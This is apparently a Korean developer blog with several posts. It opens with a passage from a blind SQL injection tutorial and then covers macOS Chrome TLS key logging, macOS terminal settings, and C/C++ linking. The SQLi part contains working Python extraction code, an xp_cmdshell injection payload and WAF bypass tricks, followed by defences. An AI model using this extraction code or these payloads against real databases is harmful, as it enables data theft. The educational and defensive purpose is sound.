target_sql = f"ORD(SUBSTR((SELECT DATABASE()),{pos},1))" ord_value, char_type = extract_ord_value(target_sql) try: char = ord_to_char(ord_value) except: char = f"[ORD:{ord_value}]" database_name += char print(f"[+] pos {pos}: {char} (ORD={ord_value}, {char_type}) -> {database_name}") print(f"[+] Database name: {database_name}") return database_name def blindsql_attack_table(db_name: str = "") -> list: """ select table_name from information_schema.tables where table_schema = 'db_name' """ table_names = [] # 테이블 조회 서브쿼리 (LIMIT, OFFSET으로 각 테이블 선택)  base_query = f"SELECT table_name FROM information_schema.tables WHERE table_schema=" # 1. TABLE 개수 구하기 (COUNT, 이진 탐색)  count_query = f"SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=" if db_name == "": base_query += "(SELECT DATABASE())" count_query += "(SELECT DATABASE())" else: base_query += f"'{db_name}'" count_query += f"'{db_name}'" low, high = 0, 256 while low <= high: mid = (low + high) // 2 sql = f"({count_query}) > {mid}" if check_point(sql): low = mid + 1 else: high = mid - 1 table_count = low if table_count == 0: print("[-] No tables found") return table_names print(f"[+] Table count: {table_count}") # 2. 각 테이블 순회 (LIMIT 1 OFFSET i)  for i in range(table_count): table_query = f"{base_query} LIMIT 1 OFFSET {i}" table_name = "" # 2-1. 테이블 이름 길이 (이진 탐색)  low, high = 1, 64 while low <= high: mid = (low + high) // 2 sql = f"(SELECT LENGTH(({table_query}))) > {mid}" if check_point(sql): low = mid + 1 else: high = mid - 1 table_len = low if table_len == 0 or table_len > 64: print(f"[-] Could not determine table[{i}] length") continue # 2-2. 각 문자 추출 (범위 체크 + 이진 탐색)  for pos in range(1, table_len + 1): target_sql = f"ORD(SUBSTR(({table_query}),{pos},1))" ord_value, char_type = extract_ord_value(target_sql) try: char = ord_to_char(ord_value) except: char = f"[ORD:{ord_value}]" table_name += char table_names.append(table_name) print(f"[+] Table[{i}]: {table_name} (len={table_len})") print(f"[+] Found {len(table_names)} tables: {table_names}") return table_names def blindsql_attack_column(table_name: str) -> list: """ select column_name from information_schema.columns where table_name = 'table_name' """ column_names = [] # 컬럼 조회 서브쿼리 (LIMIT, OFFSET으로 각 컬럼 선택)  base_query = f"SELECT column_name FROM information_schema.columns WHERE table_name='{table_name}'" count_query = f"SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{table_name}'" # 1. COLUMN 개수 구하기 (COUNT, 이진 탐색)  low, high = 0, 256 while low <= high: mid = (low + high) // 2 sql = f"({count_query}) > {mid}" if check_point(sql): low = mid + 1 else: high = mid - 1 column_count = low if column_count == 0: print(f"[-] No columns found in table '{table_name}'") return column_names print(f"[+] Column count in '{table_name}': {column_count}") # 2. 각 컬럼 순회 (LIMIT 1 OFFSET i)  for i in range(column_count): column_query = f"{base_query} LIMIT 1 OFFSET {i}" column_name = "" # 2-1. 컬럼 이름 길이 (이진 탐색)  low, high = 1, 64 while low <= high: mid = (low + high) // 2 sql = f"(SELECT LENGTH(({column_query}))) > {mid}" if check_point(sql): low = mid + 1 else: high = mid - 1 column_len = low if column_len == 0 or column_len > 64: print(f"[-] Could not determine column[{i}] length") continue # 2-2. 각 문자 추출 (범위 체크 + 이진 탐색)  for pos in range(1, column_len + 1): target_sql = f"ORD(SUBSTR(({column_query}),{pos},1))" ord_value, char_type = extract_ord_value(target_sql) try: char = ord_to_char(ord_value) except: char = f"[ORD:{ord_value}]" column_name += char column_names.append(column_name) print(f"[+] Column[{i}]: {column_name} (len={column_len})") print(f"[+] Found {len(column_names)} columns in '{table_name}': {column_names}") return column_names def blindsql_get_result(table_name: str, column_name: str) -> list: """ select column_name from table_name LIMIT 1 OFFSET i """ results = [] # 데이터 조회 서브쿼리  base_query = f"SELECT {column_name} FROM {table_name}" count_query = f"SELECT COUNT(*) FROM {table_name}" # 1. 행 개수 구하기 (COUNT, 이진 탐색)  low, high = 0, 256 while low <= high: mid = (low + high) // 2 sql = f"({count_query}) > {mid}" if check_point(sql): low = mid + 1 else: high = mid - 1 row_count = low if row_count == 0: print(f"[-] No data found in {table_name}.{column_name}") return results print(f"[+] Row count in '{table_name}.{column_name}': {row_count}") # 2. 각 행 순회 (LIMIT 1 OFFSET i)  for i in range(row_count): data_query = f"{base_query} LIMIT 1 OFFSET {i}" data_value = "" # 2-1. 데이터 길이 (이진 탐색)  low, high = 0, 256 while low <= high: mid = (low + high) // 2 sql = f"(SELECT LENGTH(({data_query}))) > {mid}" if check_point(sql): low = mid + 1 else: high = mid - 1 data_len = low if data_len == 0: results.append("") print(f"[+] Row[{i}]: (empty)") continue if data_len > 256: print(f"[-] Row[{i}] length too long, skipping") continue # 2-2. 각 문자 추출 (범위 체크 + 이진 탐색)  for pos in range(1, data_len + 1): target_sql = f"ORD(SUBSTR(({data_query}),{pos},1))" ord_value, char_type = extract_ord_value(target_sql) try: char = ord_to_char(ord_value) except: char = f"[ORD:{ord_value}]" data_value += char results.append(data_value) print(f"[+] Row[{i}]: {data_value} (len={data_len})") print(f"[+] Found {len(results)} rows in '{table_name}.{column_name}': {results}") return results def main(): # db_name = blindsql_attack_database()  # print(db_name)  # db_name = 'blindSqli'  print("Check Parse Table Names.....") # table_names = blindsql_attack_table()  print("===== Table Names =====") table_names = ['flagTable', 'member', 'plusFlag_Table'] print(table_names) print("Check Parse Column Names.....") table_information = {} for table in table_names: print("Table:", table) table_information[table] = [] column_names = blindsql_attack_column(table) table_information[table] = column_names for column in column_names: print(" - Column:", column) print("===== Column Information =====") for table, columns in table_information.items(): print(f"Table: {table}, Columns: {columns}") # save to file json  with open("table_info.json", "w", encoding="utf-8") as f: json.dump(table_information, f, ensure_ascii=False, indent=2) print("[+] Saved to table_info.json") print("Done.") def main2(): result = blindsql_get_result("flagTable", "flag") print("===== Flag Table Results =====") for row in result: print(f"- Row: '{row}'") print("Flag:", row) if __name__ == "__main__": # main()  main2() print("Total requests:", TOTAL_REQUESTS) 

주의점: Blind SQL Injection 공격은 데이터를 추출해오는 데 매우 오랜 시간이 걸리는데다,
데이터를 추출하기 위해 서버에 많은 트래픽을 발생하기 때문에, 실제 서비스에 과도한 부하를 줄 수 있다.
또한, 단기간에 동일한 요청으로 많은 트래픽을 쏘아보내기 때문에, 관제 시스템이나 보안 장비(웹 방화벽(WAF) 등) 등에 의해 차단될 가능성이 높아짐에 유의해야 한다.

기타 공격 방법

Stacked Queries (다중 쿼리)
- 세미콜론(;)으로 완전히 별개의 쿼리를 실행
Out-of-Band (OOB)
- DB 서버에서 외부 서버로 데이터를 전송시키는 기법. 화면 출력도 없고 시간 기반도 어려울 때 쓸 수 있다.

Second-Order SQL Injection (2차 SQL Injection)

입력 시점이 아니라, 저장된 데이터가 나중에 다른 쿼리에서 사용될 때 발생

1) 회원가입 시 username을 admin'-- 으로 등록 (여기선 Prepared Statement 사용) 2) 나중에 프로필 수정 쿼리에서 이 username을 그대로 사용 → UPDATE user SET email='...' WHERE username='admin'--' → admin 계정의 이메일이 변경됨 

입력 단계에서는 안전하게 처리했는데, 꺼내 쓸 때 검증 안 하면 터짐.

Stored Procedure Injection

저장 프로시저 내부에서 동적 SQL을 쓸 때 발생

-- MSSQL 저장 프로시저 예시 CREATE PROCEDURE getUser @name VARCHAR(50) AS EXEC('SELECT * FROM user WHERE name = ''' + @name + '''') GO -- 공격 '; EXEC xp_cmdshell 'whoami' -- 

방어 방법

1. Prepared Statement (파라미터 바인딩)

SQL Injection에 대한 가장 근본적이고 효과적인 방어 방법이다.
사용자 입력값을 SQL 쿼리 문자열에 직접 결합하지 않고, 파라미터로 바인딩하여 전달한다.
DB 엔진이 쿼리 구조와 데이터를 분리하여 처리하므로, 입력값이 SQL 구문으로 해석되지 않는다.

취약한 코드 (문자열 결합)

<?php // 사용자 입력이 쿼리 문자열에 직접 결합 -> SQL Injection 취약 $query = "SELECT * FROM logindata WHERE id = '$id'"; $result = mysqli_query($conn, $query); ?> 

안전한 코드 (Prepared Statement)

<?php // 파라미터 바인딩 -> SQL Injection 불가 $stmt = $conn->prepare("SELECT * FROM logindata WHERE id = ?"); $stmt->bind_param("s", $id); $stmt->execute(); $result = $stmt->get_result(); ?> 

다른 언어에서의 Prepared Statement 예시는 다음과 같다.

// Java (JDBC) PreparedStatement stmt = conn.prepareStatement("SELECT * FROM logindata WHERE id = ?"); stmt.setString(1, id); ResultSet rs = stmt.executeQuery(); 

# Python (MySQL Connector) cursor.execute("SELECT * FROM logindata WHERE id = %s", (id,)) 

2. ORM (Object-Relational Mapping) 사용

ORM은 SQL 쿼리를 직접 작성하지 않고, 객체 지향적으로 DB에 접근하는 방식이다.
대부분의 ORM 프레임워크는 내부적으로 Prepared Statement를 사용하므로, SQL Injection에 안전하다.

# Python (SQLAlchemy) user = session.query(User).filter(User.id == input_id).first() 

단, ORM에서도 Raw Query를 직접 작성하는 경우에는 SQL Injection에 취약할 수 있으므로 주의해야 한다.

# ORM에서도 Raw Query 사용 시 취약 session.execute(f"SELECT * FROM user WHERE id = '{input_id}'") # 취약!  # Raw Query에서도 파라미터 바인딩 사용 session.execute(text("SELECT * FROM user WHERE id = :id"), {"id": input_id}) # 안전 

3. 입력값 검증 (Validation)

사용자 입력값에 대해 화이트리스트 기반으로 허용된 값만 통과시킨다.
Prepared Statement와 함께 다중 방어(Defense in Depth) 전략으로 병행해야 한다.

숫자만 허용되는 필드는 숫자만 통과시킨다.
문자열 길이를 제한한다.
특수문자(', ", -, ;, (, ) 등)를 필터링하거나 이스케이프 처리한다.

<?php // 숫자만 허용 if (!is_numeric($user_number)) { die("잘못된 입력입니다."); } // 화이트리스트 기반 검증 (ORDER BY 칼럼명 등 파라미터 바인딩이 불가능한 경우) $allowed_columns = ['name', 'email', 'phone']; if (!in_array($sort_column, $allowed_columns)) { die("잘못된 입력입니다."); } ?> 

주의: ORDER BY, 테이블명, 칼럼명 등은 Prepared Statement로 파라미터 바인딩이 불가능하다.
이런 경우에는 반드시 화이트리스트 검증을 적용해야 한다.

4. 최소 권한 원칙 (Least Privilege)

DB 접속 계정에 애플리케이션에 필요한 최소한의 권한만 부여한다.
SQL Injection이 성공하더라도, 피해 범위를 최소화할 수 있다.

웹 애플리케이션용 DB 계정에는 SELECT, INSERT, UPDATE, DELETE 권한만 부여한다.
DROP, CREATE, ALTER 등의 DDL 권한을 부여하지 않는다.
FILE, LOAD_FILE() 등 파일 접근 권한을 부여하지 않는다.
MSSQL의 경우 xp_cmdshell 등 OS 명령 실행 기능을 비활성화한다.
information_schema 접근 권한을 제한한다.

5. 에러 메시지 숨기기

Error Based SQL Injection은 에러 메시지가 화면에 출력되어야 공격이 가능하다.
운영 환경에서는 DB 에러 메시지를 사용자에게 직접 노출하지 않도록 설정한다.

<?php // 취약: 에러 메시지가 그대로 출력됨 $result = mysqli_query($conn, $query) or die(mysqli_error($conn)); // 안전: 에러 메시지를 숨기고, 내부 로그에만 기록 $result = mysqli_query($conn, $query); if (!$result) { error_log("DB Error: " . mysqli_error($conn)); // 서버 로그에만 기록 echo "오류가 발생했습니다. 관리자에게 문의하세요."; } ?> 

; php.ini - 운영 환경 설정 display_errors = Off log_errors = On 

6. WAF (Web Application Firewall)

웹 방화벽을 통해 SQL Injection 패턴이 포함된 요청을 차단한다.
UNION, SELECT, EXTRACTVALUE, UPDATEXML, SLEEP(), BENCHMARK() 등의 키워드를 필터링한다.

단, WAF는 우회 기법이 존재하므로, 단독 방어 수단이 아닌 보조적인 방어 수단으로 활용해야 한다.
WAF 우회 기법의 예시는 다음과 같다.

대소문자 혼합: SeLeCt, uNiOn
주석 삽입: UN/**/ION, SE/**/LECT
인코딩: URL 인코딩, 더블 인코딩
공백 대체: %09(탭), %0a(개행), /**/(주석)

따라서, Prepared Statement가 근본적인 방어이며, WAF는 추가적인 방어 계층으로 사용하는 것이 올바른 방어 전략이다.

macOS에서 프로그램을 argument와 같이 실행시켜보자.

Wed, 09 Apr 2025 00:00:00 +0900

개요

Windows에서는 Chrome에서 https, http2를 테스트하기 위해 환경변수에 SSLKEYLOGFILE을 설정하고 크롬을 재실행하면 끝이었다.

macOS에서는 export SSLKEYLOGFILE=/path/to/sslkeylog.log 로 환경변수를 설정하고 크롬을 재실행해도 https, http2 패킷이 계속 암호화되어 보이는 것으로 보아 적용되지 않고 있다고 판단했다.

확인한 결과 크롬을 모두 종료하고 아래 명령어를 통해 크롬을 실행하면 wireshark 등에서 https, http2 로그를 확인할 수 있다.

open -a /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --args --ssl-key-log-file=/path/to/sslkeylog.log 

하지만 매번 이렇게 실행하는 것이 상당히 번거롭기 때문에 크롬을 실행할 때마다 항상 --ssl-key-log-file 해당 옵션이 적용되는 방법은 없는지 찾아보았다.

방법1 - 실패

참조한 stackoverflow 링크

해당 방법대로라면 /Applications/Google\ Chrome.app 패키지에서 옵션을 추가하여 바이너리를 실행하는 쉘 스크립트를 추가로 만든 뒤 Contents/Info.plist 파일을 열어서 실행하는 바이너리명을 해당 스크립트 이름으로 변경하면 된다고 했다.

Info.plist 파일을 열어 CFBundleExecutable 또는 Executable File 항목을 찾아 수정하면 된다고 했다.

![[mdresources/dir_open_with_argument.md_img/img_2023-04-05-08-31-51.png]]

Google Chrome의 경우 Info.plist에 CFBundleExecutable 항목이 있어서 해당 항목을 수정했다.

1 2 - <string>Google Chrome</string> + <string>parameterized-app.sh</string>

그리고 아래 명령어를 실행해 parameterized-app.sh 파일을 생성하고 실행권한을 부여했다.

1 2 touch MacOS/parameterized-app.sh chmod 755 MacOS/parameterized-app.sh

parameterized-app.sh 파일을 열고 아래 내용을 추가했다.

#!/bin/bash open -a /Applications/_argChrome.app/Contents/MacOS/Google\ Chrome --args --ssl-key-log-file=/path/to/sslkeylog.log 

하지만 유효성 검증을 진행하는지 아래와 같은 에러가 발생했다.

확인 결과, Google Chrome 패키지에 어떠한 파일이나 디렉토리에 변조를 가하면 브라우저 내 기본 세션 (구글 로그인 등)이 무조건 끊기는 것으로 파악했다.

방법2 - 성공

macOS 에서 듀얼 카카오톡을 실행하는 방법과 유사한 방법으로 진행하면 어떨까 싶어서 알아보았다.

듀얼 카카오톡 생성 방법

test -d /Applications/KakaoTalkDev.app && rm -rf /Applications/KakaoTalkDev.app test -d /Applications/DuelKakaoTalk.app && rm -rf /Applications/DuelKakaoTalk.app cp -a /Applications/KakaoTalk.app /Applications/KakaoTalkDev.app mv /Applications/KakaoTalkDev.app/contents/MacOS/KakaoTalk /Applications/KakaoTalkDev.app/Contents/MacOS/KakaoTalkDev cd /Applications/KakaoTalkDev.app/Contents/ /usr/bin/sed -i .bak "s/KakaoTalk<\/string>/KakaoTalkDev<\/string>/g" Info.plist /usr/bin/sed -i .bak "s/com.kakao.KakaoTalkMac<\/string>/com.kakao.KakaoTalkDevMac<\/string>/g" Info.plist codesign --force --deep --sign - /Applications/KakaoTalkDev.app mv /Applications/KakaoTalkDev.app /Applications/DuelKakaoTalk.app # open /Applications/DuelKakaoTalk.app 

이후 Spotlight 또는 Alfred에 duel만 쳐도 duelkakaotalk이 뜬다.

즉, 구상한 방법은 다음과 같다.

Google Chrome.app 패키지를 _argChrome.app 패키지로 복사한다.

cp -a /Applications/Google\ Chrome.app /Applications/_argChrome.app 

Google Chrome.app 패키지의 Google Chrome 바이너리를 지운다.

rm -rf /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome 

Google Chrome.app 패키지 내 Info.plist를 수정하여 패키지명을 변경하고, Google Chrome 스크립트를 생성하여 _argChrome.app 패키지를 실행시키게 한다.

touch /Applications/_argChrome.app/Contents/MacOS/Google\ Chrome chmod 755 /Applications/_argChrome.app/Contents/MacOS/Google\ Chrome 

이후 Google Chrome 스크립트를 열어 아래 내용을 추가한다.

#!/bin/bash open -a /Applications/_argChrome.app/Contents/MacOS/Google\ Chrome --args --ssl-key-log-file=/path/to/sslkeylog.log 

Info.plist 파일을 열고 수정한다.

com.google.Chrome 내용을 com.google.ChromeArg로 변경한다.
CFBundleDisplayName 항목의 내용을 Google Chrome 에서 Google ChromeArg로 변경한다.

검색 대상에서 _argChrome.app 앱 제외

이후 시스템 설정 > Siri 및 Spotlight > Spotlight 개인정보 보호 에서 _argChrome.app을 추가해 검색 대상에서 _argChrome.app 항목을 제외시킨다.

^{finder에서 _argChrome.app 항목을 드래그 해 가져온다.}

alfred 사용자는 이후 알프레드 검색 창을 띄워 Reload Alfred Cache 를 실행시켜 제외 대상을 반영시킨다.

이후 alfred, spotlight로 크롬을 실행시키면 wireshark에서 크롬의 복호화된 트래픽을 확인할 수 있다.

번외 (SSLKEYLOGFILE 환경변수 설정)

1 2 cd ~/Library/LaunchAgents touch tlskeylogger.plist

tlskeylogger.plist 파일을 열고 아래 내용을 추가한다.
launchctl setenv SSLKEYLOGFILE /path/to/sslkeylog.log 의
/path/to/sslkeylog.log 부분은 실제 파일 경로로 수정한다.

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>sslkeylogger</string> <key>ProgramArguments</key> <array> <string>sh</string> <string>-c</string> <string> launchctl setenv SSLKEYLOGFILE /path/to/sslkeylog.log </string> </array> <key>RunAtLoad</key> <true/> </dict> </plist> 

launchctl load ~/Library/LaunchAgents/tlskeylogger.plist launchctl start ~/Library/LaunchAgents/tlskeylogger.plist 

크롬 브라우저를 재시작한다.

macOS 터미널 명령어를 통한 설정 정리

Mon, 03 Mar 2025 00:00:00 +0900

macOS ssh 재시작
MacOS의 디폴트 프로그램 변경하기
사전찾기 (ctrl+cmd+d) 단축키 비활성화
충전 없이 클램쉘 활성화
키 반복하기
Finder 숨긴 디렉토리를 항상 보이게 하기
dock 애니메이션 대기시간 제거
- dock 대기시간 복원
dock을 완전히 없애기
.DS_Store 파일 제거 및 더 이상 생성되지 않도록 하기
plist vi로 보기
프로그램 실행 시 argument 추가하여 실행시키기
ssh ppk 개인키 파일을 .pem 파일로 교체 (ppk 개인키 변환)
macOS 안되는 명령어

macOS ssh 재시작

/etc/services에서 ssh 포트를 변경할 수도 있다.
재시작 명령어는 아래 두 줄을 통해 가능하다.

sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist 

외부 ssh 접속을 허용하려면 시스템 설정 > 일반 > 공유 에서 원격 로그인 항목을 체크해야 한다.

MacOS의 디폴트 프로그램 변경하기

1번 방법

Finder에서 우클릭 > 정보 가져오기 > 다음으로 열기 ->프로그램 변경 > 모두 변경…

하지만 이 방법으로는 몇가지 제약사항이 존재한다. 확장자가 없는 문서 등의 경우 한번에 바꾸지 못하는 단점이 존재한다.

2번 방법

우선 내가 기본으로 열고싶은 확장자의 타입을 알아야 한다.

1 mdls -name kMDItemContentType /path/to/file

일반 문서 타입으로 조회되는 .wgetrc 파일

mdls -name kMDItemContentType ~/.wgetrc kMDItemContentType = "public.data" 

그리고 내가 열고자 하는 프로그램의 CFBundleIdentifier 를 알아야 한다.

1 mdls -name kMDItemCFBundleIdentifier -r /path/to/Application.app

예시

# VSCode mdls -name kMDItemCFBundleIdentifier -r /Applications/Visual\ Studio\ Code.app com.microsoft.VSCode # MacVim mdls -name kMDItemCFBundleIdentifier -r /Applications/MacVim.app org.vim.MacVim 

이제 원하는 타입을 원하는 프로그램으로 바꾸기 위해 아래 명령어를 적절하게 변경해 실행한다.
아래 명령어를 실행하면 $HOME/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist 파일의 내용이 변경된다.

defaults write com.apple.LaunchServices/com.apple.launchservices.secure \ LSHandlers -array-add \ '{LSHandlerContentType=<document type>;LSHandlerRoleAll=<바꾸고자 하는 프로그램명>;}' 

나는 MacVim(org.vim.MacVim)으로 문서 파일(public.data)을 열고자 하기 때문에 아래와 같은 명령을 진행할 것이다.

defaults write com.apple.LaunchServices/com.apple.launchservices.secure \ LSHandlers -array-add \ '{LSHandlerContentType=public.data;LSHandlerRoleAll=org.vim.MacVim;}' 

이후 재부팅 하여 변경된 내용을 적용한다.
꼭 재부팅 해야 내용이 적용되니 이 점 잊지 말자.

사전찾기 (ctrl+cmd+d) 단축키 비활성화

설정 이후 재부팅 필요.

sudo defaults write com.apple.symbolichotkeys AppleSymbolicHotKeys -dict-add 70 '<dict><key>enabled</key><false/></dict>' 

충전 없이 클램쉘 활성화

설정 이후 재부팅 필요.
덮개를 덮을 시 잠자기 모드를 완전히 비활성화 하는 것이기 때문에
해당 설정을 진행하면 맥북을 잠자기 모드로 둘 수 없다.

1 sudo pmset -b sleep 0; sudo pmset -b disablesleep 1

잠자기 모드를 다시 활성화 하려면 아래 명령어 적용 후 재부팅.

1 sudo pmset -b sleep 0; sudo pmset -b disablesleep 0

해당 쉘 스크립트를
automator > 새로운 문서 > 응용 프로그램 > 보관함 > 유틸리티 > 셸 스크립트 실행
여기에 넣고 저장하면 앱으로 만들 수 있다.

echo 'password' | sudo -S pmset -b disablesleep 1; pmset -a disablesleep 1; pmset -c disablesleep 1; 

키 반복하기

맥을 처음 실행하면 키를 꾹 눌렀을 때 키가 반복되지 않고 다른 글자를 입력할 수 있는 창이 뜬다.
이를 막고 키를 꾹 눌렀을 때 반복되게 하려면 터미널을 열고 다음 명령어를 입력한다.

defaults write -g ApplePressAndHoldEnabled -bool false 

Finder 숨긴 디렉토리를 항상 보이게 하기

단축키는 cmd + shift + . 이다.

항상 보이게 하려면 터미널을 열고 다음 명령어를 입력한다.

# defaults write com.apple.Finder AppleShowAllFiles -bool true defaults write com.apple.finder AppleShowAllFiles -boolean true; killall Finder; 

dock 애니메이션 대기시간 제거

defaults write com.apple.dock autohide -bool true && defaults write com.apple.dock autohide-delay -float 0 && defaults write com.apple.dock autohide-time-modifier -float 0 killall Dock 

dock 대기시간 복원

defaults delete com.apple.dock autohide && defaults delete com.apple.dock autohide-delay && defaults delete com.apple.dock autohide-time-modifier && killall Dock 

dock을 완전히 없애기

나의 경우 spotlight, alfred로 거의 모든 것을 실행하기 때문에 dock이 필요하지 않아 dock이 나타나는 것이 거슬렸다.
따라 dock을 완전히 없애는 방법을 찾아보았으나,
완전히 없애는 대신 dock이 보여지는 시간을 매우 길게 조정하여 사실상 dock이 없는 것처럼 보이게 하는 방법을 찾았다.

아래 명령어는 dock이 보여지는 시간을 1000000초 정도로 늘려 사실상 dock이 없는 것처럼 보이게 한다.

1 defaults write com.apple.dock autohide-delay -float 1000000; killall Dock

복원방법

1 defaults delete com.apple.dock autohide-delay; killall Dock

출처

.DS_Store 파일 제거 및 더 이상 생성되지 않도록 하기

.DS_Store 파일 조회(터미널에 출력) 및 제거 명령어

sudo find / -name ".DS_Store" -type f -print -delete 

더 이상 .DS_Store 파일이 생성되지 않도록 하는 방법 (네트워크 드라이브에서만 .DS_Store가 생성되지 않는다. 로컬 드라이브에서는 정상적으로 생성되어, 이 방법은 완전하다 볼 수 없다.)

1 sudo defaults write com.apple.desktopservices DSDontWriteNetworkStores ture

아래 명령어로 적용되었는지 확인 가능

1 # defaults read com.apple.desktopservices DSDontWriteNetworkStores

plist vi로 보기

plist 바이너리를 xml로 변환

1 plutil -convert xml1 "<plist file>"

plist xml을 바이너리로 변환

1 plutil -convert binary1 "<plist file>"

프로그램 실행 시 argument 추가하여 실행시키기

링크로 대체

ssh ppk 개인키 파일을 .pem 파일로 교체 (ppk 개인키 변환)

.ppk 확장자의 개인키 파일 형식은 macOS 터미널에서 ssh 접속 시 개인키 파일로 사용할 수 없다.
따라서 이러한 파일을 변환해줘야 하는데 해당 방법을 알아보자.

우선 puTTY가 설치되어 있지 않다면 설치해야 한다.

1 brew install putty

이후 puttygen 을 통해 .ppk 파일을 변환할 수 있다.

1 puttygen key.ppk -O private-openssh -o output.pem

.pem 파일을 .ppk 파일로 변환하고 싶다면 반대로 하면 된다.

puttygen key.pem -o output.ppk # 옵션 지정 # puttygen key.pem -o output.ppk --ppk-param version=2 

키가 생성되었다면 기본적으로 권한이 600 (rw——-) 으로 설정되어 있을텐데, 만약 권한이 다르다면 chmod 600 <file> 명령어를 통해 600으로 권한을 재설정해야 한다.

이후 이 키를 가지고 접속이 가능하다.

1 ssh -i output.pem user@test.com

또는 ~/.ssh/config 에 정보를 기입하고 접속할 수 있다.

# Host 별칭 HostName #ssh 접속주소 User #ssh 접속 유저명 Port # ssh 접속 포트 IdentityFile # 개인키 경로 Host sshtest HostName test.com User ubuntu Port 22 IdentityFile ~/.ssh/output.pem 

1 2 # ssh 별칭 ssh sshtest

해당 내용을 시스템 설정 > 일반 > 로그인 항목 에 넣을 경우 완전히 제거할 수 있지만 sudo 비밀번호가 노출된다는 단점이 있다.

따라서 /private/etc/sudoers.d/ 디렉토리에 pmsets 라는 이름의 파일을 생성하고

1 2 cd /private/etc/sudoers.d/ touch pmsets

sudo vi /private/etc/sudoers.d/pmsets 명령어를 통해 파일을 열 수 있다.
다음과 같이 내용을 추가한다.

1 <계정명> ALL = NOPASSWD: /usr/bin/pmset

:w! 명령을 통해 저장하고 나와 쉘을 하나 더 열어서 sudo pmset -b disablesleep 1; 명령을 실행하였을 때
비밀번호를 입력하지 않고 실행되는 것을 확인할 수 있다.

sudoers로 진행할 경우 automator에 비밀번호를 평문으로 입력하지 않아도 실행이 된다.

macOS 안되는 명령어

which

이건 맥 뿐만 아니라 zsh 쉘을 사용하는 모든 사용자의 문제이지만
which 명령이 해당 프로그램의 실제 경로를 가리키는 것이 아닌, alias나 함수 등을 출력한다.

아래 alias를 통해 which 명령어를 bash의 which 명령어로 대체할 수 있다.

alias which="$(/bin/bash -c 'which which')" 

readlink -> greadlink

맥에서 readlink 명령어를 사용하려고 하니 오류가 난다.

$ readlink -e sslkeylog.log readlink: illegal option -- e 

이 경우 readlink 대신 greadlink 를 사용하면 된다.

$ greadlink -f /opt/homebrew/bin/fzf /opt/homebrew/Cellar/fzf/0.38.0/bin/fzf 

greadlink 옵션은 readlink와 다른 게 없는 것 같았다.

fallocate -> mkfile

fallocate -l 1M 1Mtest.txt 명령어를 통해 1MB의 파일을 생성하려고 했는데
맥은 fallocate 명령어를 지원하지 않는다.

이 경우 mkfile 명령어를 사용하면 된다.

1 mkfile -n 1m 1Mtest.txt

CS HEAD

Mon, 06 Jan 2025 00:00:00 +0900

컴퓨터 공학 기초

Preparing…

리눅스에서 C++ 함수를 C언어세서 사용하기

Tue, 03 Dec 2024 00:00:00 +0900

개요

C++ 함수를 C언어에서 사용하는 방법은 크게 두 가지가 있다.

정적 라이브러리 (.a) 로 임포트하는 방법과 동적 라이브러리 (.so) 로 임포트하는 방법이다.

이 문서에서는 두 가지 방법을 간단히 알아본다.

방법

testfunc.cpp

예시를 들어보자. 이런 함수가 존재한다. 이 함수는 두 문자열을 합쳐서 반환하는 함수이다. 그러나 그 과정에서 C++에서만 사용할 수 있는 std::string 을 사용하고 있다. 이 함수를 C언어에서 사용하려면 어떻게 해야할까?

#include <iostream> #include <string> #include <cstdlib> #include <cstring>  char* str_plustest(char *str1, char *str2) { std::string s1(str1); std::string s2(str2); std::string s3 = s1 + s2; size_t len = s3.length() + 1; char *result = (char *)malloc(s3.length() + 1); memset(result, 0, len); strcpy(result, s3.c_str()); return result; } 

testfunc.h 헤더를 만들고 함수의 선언을 넣어준다.

#ifndef __TESTFUNC_H__ #define __TESTFUNC_H__  // C++ 함수를 C에서 사용하기 위해 extern "C" 필요 #ifdef __cplusplus extern "C" { #endif  // 여기에 함수 선언을 넣어준다. /** * @brief 두 문자열을 합쳐서 반환하는 함수 * 반환하는 과정에서 malloc을 사용하므로 함수 호출 시 반환값에 대한 free가 필요하다. * * @return char* 합쳐진 문자열 (free 필요) */ char* str_plustest(char *str1, char *str2); #ifdef __cplusplus } #endif  #endif /* __TESTFUNC_H__ * 

그리고 testfunc.cpp 파일에 testfunc.h 헤더를 include 해준다.

#include "testfunc.h"  #include <iostream> #include <string> #include <cstdlib> #include <cstring>  char* str_plustest(char *str1, char *str2) { std::string s1(str1); std::string s2(str2); std::string s3 = s1 + s2; size_t len = s3.length() + 1; char *result = (char *)malloc(s3.length() + 1); memset(result, 0, len); strcpy(result, s3.c_str()); return result; } 

C언어 소스에서 str_plustest 함수를 사용하기 위해 다음과 같이 작성했다.

#include <stdio.h> #include <stdlib.h>  #include "testfunc.h"  #define free_safe(ptr) if((_p) != NULL) { free((_p)); (_p) = NULL; }  int main() { const char *str1 = "Hello "; const char *str2 = "World!"; char *result = str_plustest((char *)str1, (char *)str2); printf("CONSOLE | result : %s\n", result); free_safe(result); return 0; } 

그리고 testfunc.cpp 와 testfunc.h 파일은 cpp 디렉토리에 위치하도록 하였다.

이렇게 하면 소스는 준비가 끝난 것이다.

ls -al ./ 결과

cpp/
- testfunc.cpp
- testfunc.h
main.c

리눅스에서 C 관련 라이브러리를 사용하기 위해서는 라이브러리의 이름이 lib로 시작해야 한다.

1. 정적 라이브러리 (.a) 로 임포트

# cd cpp LIBRARY_NAME="testfunc" g++ -c testfunc.cpp -o testfunc.o ar rcs "lib${LIBRARY_NAME}.a" testfunc.o # 별다른 문제가 없다면 libtestfunc.a 파일이 생성된다. 

그리고 main.c 파일을 빌드한다.

# -I : include 헤더를 참조할 디렉토리 경로 (testfunc.h를 cpp 디렉토리에 넣었으므로 추가.) # -L : 라이브러리를 참조할 디렉토리 경로 # -l : 라이브러리 이름 (libtestfunc.a 파일을 참조한다.) # libtestfunc.a 파일을 참조하고 싶다면, lib를 뺀 이름을 넣어야 한다. # -lstdc++ : C++ 표준 라이브러리 링크 gcc main.c -I./cpp -L./cpp -ltestfunc -lstdc++ -o main # 별다른 문제가 없다면 main 바이너리 파일이 생성된다. 

생성된 ./main 파일을 실행하면 Hello World! 가 출력된다.

